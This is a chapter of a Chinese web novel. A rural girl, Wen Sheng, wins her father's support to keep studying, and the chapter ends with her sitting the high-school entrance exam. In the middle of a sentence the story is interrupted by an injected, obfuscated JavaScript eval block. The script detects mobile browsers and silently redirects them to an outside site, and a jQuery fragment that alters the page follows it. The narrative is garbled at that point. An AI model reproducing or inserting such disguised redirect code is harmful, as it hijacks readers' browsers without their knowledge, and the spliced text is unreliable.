晚上，屋里点着昏黄的煤油灯，温笙哄完温来福睡着后看了会书，才悄悄起身，拎着水壶往堂屋走。
堂屋门半掩着，温大志刚洗完脚，把盆往墙角一搁，蹲在门槛边，正抽着最后一根烟，烟头在指尖一闪一闪，他看着外头发呆。
温笙拎着水壶站在门口，脚步顿了顿，又往前走了几步，在温大志的身侧蹲下，“爹，还没睡啊？”
“抽完这根就进屋。”温大志看着她，“你有话想说？”
温笙点点头，抿了抿唇，小声说：“爹，今天早上我听见了，你和奶奶，还有李婶在堂屋说话。”
温大志手里那截烟歪了歪，低声道：“听见啥了？”
“听见奶奶说，叫我别念书了，早点定亲；还听见李婶说中专比上高中好，说分配快、挣工资，家里也能轻松点。”温笙垂着眼，指尖不自觉地揪着衣角，“爹，我知道你也在犹豫。”
温大志盯着她的脸看了一会儿，半晌才叹了口气，把烟捻熄在脚边的砖里，没急着接话。
温笙继续说：“现在也一样，我想继续读。爹，我不想走回头路。”
他沉默片刻，手伸进口袋里摸了摸，摸到烟盒，指尖在上面蹭了两下，最后还是没有抽出来。
“你奶说得也不是没道理，咱家日子不好过，栋梁要成家，等来福再长大点，春花也得进厂补贴家里。”
“我知道。”温笙抬起眼，说出了自己的想法：“但我不读书，家里也不会轻松多少，顶多是多一张嘴换个早嫁出去。”
温大志皱了皱眉，语气有些重：“中专你也不愿意？你不是尖子生吗，镇上都说你要是愿意，推荐肯定有你一份。你大姐成绩赶不上你，连机会都没得挑。”
“爹，我想走出去。”
温笙看着温大志的眼睛，用尽全身力气告诉他：“爹，我知道中专很好，毕业就能进单位，哪怕现在去厂里干活，也有人羡慕，但我想读书，走出村子，走出镇，走到别人不敢想的地方去。”
“我不怕累，不怕苦，也不怕吃亏。我怕的是，一辈子就困在这儿，天一黑就点煤油灯，夏天种地，冬天生火，一年到头，连个盼头都没有。”
“我不想我以后有了孩子，也只能告诉他，你娘我啊，小时候也想读书，只是那时候家里穷，我的奶奶不同意，我的爹也没办法，我不想说那种话，我不想让他也觉得，命就是这么个命。”
温笙说到这儿，声音已经哑了些，她看着温大志，没有回避他的目光，忽然问：
“爹，你还记不记得，那年我改名字的事？”
温大志愣了一下，点了点头，说：“记得。”
“你那时候才念五年级，哭着跑来对我说想换个名字，哭了好几天，你娘说你连饭都不想吃。我嫌烦，就答应了。”
温大志说到这，想起了二丫当时哭得鼻涕眼泪一把抓，死死拽着他裤腿不让他走的样子，低头笑了笑。
“你那时候小小一个人，蹲在那儿一边哭一边说‘我长大了还要念书，还要走出去’，我听着好笑，又觉得……”他没把话说完，只抬手揉了把脸，“唉，人老了，记性还是在的。”
温笙抬起头看着他，眼眶有点红，但没掉眼泪，“那时候你没骂我，也没跟奶奶说，就带我去了。”
“你明明知道改名没法换命，但你还是带我去了。现在也一样，我知道读书不能立马让咱家变得富，我也不能一下子给家里挣工资，可我还是想试试。”
“爹，我就想知道，这一次，你还愿不愿意，站我这边？”
温大志沉默地看着她许久，温笙拎着水壶的手心已经出了汗，等着他的回答。
“你不是问我为什么没有阻止你取这个名字吗？”温大志忽然说。
“因为我觉得你这个名字，起得比我有骨气。”
“我叫‘大志’，但说句实话，我这一辈子，过得窝囊。念书念了一半就退了学，种地种了一辈子，走哪儿都得低头哈腰，谁问起我，我都说命这样，认了。”
“但你不一样，你从小就不一样。”
“你五年级那年，哭着拉我裤脚，说想改个名字，想出去念书。你娘还以为你是发烧胡说八道，可我知道你是认真的。那时候我心里想，这丫头小归小，倒是有点狠劲儿。”
“所以我才带你去了户籍所，没告诉你奶，也没说别的。不是我开明，是我明白，你跟我不一样。”
“我已经对不住春花了，我......”温大志顿了顿，“其实，今天下午她也来找过我。”
温笙猛地抬起头，她没想到，春花竟也听见了早上的那些话。
温大志苦笑一声：“你们姐妹俩也真是的，一个拦着我不让我进门吃饭，一个拦着我不让我进屋睡觉。”
“她说，你跟她不一样。她对读书没有兴趣，不后悔辍学，也不怪家里，可你不一样，你是家里唯一能读出来的人，如果不让你读书，她就拉着来福躲得远远的。”
“温笙，我以后就不管你了。”
一瞬间，堂屋里安静得只能听见煤油灯芯轻轻跳动的声音。
温笙怔怔地看着他，这是改名后，第一次听到温大志叫她的新名字。
不是“二丫”，不是“老二”，是温笙。
她胸口一热，刚想说些什么，见温大志站起来，抖了抖裤腿上的烟灰，把手背在身后往屋里走，“好了，去睡吧。”
走到门边时，温大志忽然想起很多年前的那个午后。
那天他刚干完活，正准备去地头帮人挑水，就见自家二丫头蹲在门边哭，哭得嗓子哑了，死死拽着他裤腿不松手。
她说她不想叫“二丫”，她要改名字，她要念书，要走出去。
他原以为她只是闹脾气，过几天就好了，可那丫头一连三天不说话，饭也不吃，半夜躲在被窝里哭，哭得眼睛肿得像核桃。
他那时候心烦，正是农活最忙的时候，田里也缺人，实在顾不上哄她，可那一晚他起夜倒水，路过门口，听见她双手合十，对着夜色许愿：“我不想一辈子叫二丫......我不是赔钱货......”
他没过去，也没作声，只站了一会儿，转身回了屋。
第二天一早，天还没亮，他蹲在屋檐底下抽完一根烟，回屋把她叫醒，说：“穿衣裳，跟我走一趟。”
她还以为他要带她下地干活，迷迷糊糊地穿好鞋，直到走到镇上户籍所门口，才一下睁大了眼。
镇上的办事员一开始不肯，板着脸问：“改名字？小姑娘好好的，怎么说改就改？”
他搓搓手，笑着撒了个谎：“孩子身体不好，总是生病，我们找了个风水大师，他说‘丫’字太压人，改成‘笙’字才能养得住命。”
那人抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198072|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头瞧了她一眼，说：“你这孩子不像体弱的样子啊，眼神这么坚毅。”
他干笑了两声，没法子，只好摸出两包烟放在桌角，又跑出去请人吃了碗面，才把事办下来。
温大志站在屋门边，手还搭在门框上，身后是屋里微弱的煤油灯光，眼前是女儿蹲在门槛边，抱着膝盖，哭得几乎喘不上气的身影。
他这么看着，感觉回到了那个夏天的午后。
当时那个小姑娘也是这样哭的，拽着他不放，说她不叫二丫，她要改名，她要念书，她不要一辈子这样过。
小姑娘长大了，除了改名，其他话都没有变。
温大志忽然觉得，命运就是一圈绕回来，她还是那个当年哭着求他的孩子，而他，还是那个拿不出本事，但又实在不忍心打碎孩子希望的爹。
他靠着门边，在心里不停地自嘲：
“温大志啊温大志，你这辈子都走不出去这环境了。”
“种了一辈子地，抬头是天，低头是地，连县城都没出过几趟。”
“你没能让春花读下去，也没能让来福穿上新衣裳，没能阻止娘的重男轻女观念，你一身的泥巴味儿，进谁家门都得先敲敲鞋底。”
“可你闺女不一样啊，她说要走出去，说得咬牙切齿，眼睛里全是光，偏还赶上你这糙爹，啥也给不了。”
可他知道，那是她的路，他得让开，像小时候牵着她去户籍所那样，让开。
他这一生没给她多少好日子，没攒下什么本事，也没替她挡过多少风雨。
唯一能做的，就是别拦着她往光亮里走，这样，他这个做爹的，没白当。
——
时间一晃就到了初升高的考试。
那天一大早，天还没亮透，温笙就背着书包出了门，手里紧紧攥着两支笔、一块橡皮，还有春花前晚给她削好的铅笔头。
温春花披着件旧外套，悄悄跟着她，一直把她送到了村口，不停地叮嘱，紧张得好像等等上考场的是她。
“考试别紧张，温笙，你会的肯定比他们多。”
温笙“嗯”了一声，走之前回头用力抱了下春花，眼圈微红，“春花，我要去考第一。”
温春花伸手帮她拢了拢衣领，又从怀里掏出一个用手帕包着的鸡蛋，塞进她书包侧兜。
“中午别省着，吃了再写。”
“我得走了，我这是偷偷出来的，家里还需要我做早饭呢。”
温笙点点头，看着温春花的背影消失在晨雾中，她也转过身，脚步坚定地朝着镇上走去。
昨晚下过一场雨，山路泥泞不堪，脚一踩下去，鞋差点拔不出来。温笙提着裤脚，小心地避着水坑，没半点要退缩的念头，继续赶路。
考点设在镇上的初中，温笙到的时候，操场边早已聚了几拨人。
可她真的到了考场时，发现少了一半人，考场都没有坐满，有的早早去打工了，有的被喊回家帮忙插秧，还有的干脆没来。
“反正读了也没用。”
“女孩子读那么多干啥？”
这些话，温笙早就听过无数遍，她静静地坐下，把笔放好，目光落在发下来的试卷上，心跳渐渐平稳下来。
这场考试对她很重要，是她和温大志的约定。
温笙深吸一口气，在考卷上写上自己的名字。
温，笙。